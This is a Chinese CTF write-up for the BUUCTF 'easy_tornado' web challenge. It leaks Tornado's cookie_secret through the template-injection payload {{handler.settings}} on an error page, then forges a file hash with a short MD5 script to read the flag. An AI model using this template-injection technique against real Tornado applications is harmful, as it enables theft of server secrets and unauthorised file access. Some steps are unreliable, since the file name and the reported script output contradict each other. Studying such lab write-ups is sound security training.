zoukankan      html  css  js  c++  java
  • buuctf-web easy_tornado 1

    当我们打开网页的时候,看见了

     那我们都来查看一下吧。

     

     

     通过第一个条件我们得知,flag是存放在里的。

    而第二个条件说的render,它其实是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

    而我们在hints里面看到的这个条件,猜测是需要构造file?filename=/fllllllllllllag.txt&filehash=?这个的。

    filehash后面的值是多少,首先我们得知道cookie_secret,把它找出来 ,就可以了。

    那我自己拼接了一个,结果就输出了这个‘

     这个其实就是一个注入点,这个就利用到了第二个条件了,需要模板注入。/error?msg={{handler.settings}}

    惊奇的发现了,cookie_secret

     那既然cookie_secret出来了,再根据以上条件,编写一个python脚本将最后filename的hash值给找出来:

    import hashlib
    
     
    def md5value(s):
        md5 = hashlib.md5() 
        md5.update(s) 
        return md5.hexdigest()
    
     
    def encode(): 
        filename = '/fllllllllllllag'
        cookie_s ="26c5d178-38d8-4123-b5c8-3bfc2cff0903"
        print(md5value(filename.encode('utf-8')))
        x=md5value(filename.encode('utf-8'))
        y=cookie_s+x
        print(md5value(y.encode('utf-8')))
     
     
    encode()

    跑一下这个脚本,最后得到了26c5d178-38d8-4123-b5c8-3bfc2cff0903

    构造最终脚本:

    http://04f10c8d-3e96-47ef-8b81-4be5a82e672b.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=de81fb1e6414ae515857757e315fb520

    这样便可以拿到flag

  • 相关阅读:
    javascript学习7
    javascript学习6
    javascript学习5
    javascript学习4
    javascript学习3
    javascript学习2
    兼容性
    工作中总结的经验之git篇
    git解决内容冲突
    Gulp压缩JavaScript代码
  • 原文地址:https://www.cnblogs.com/awsole/p/13820109.html
Copyright © 2011-2022 走看看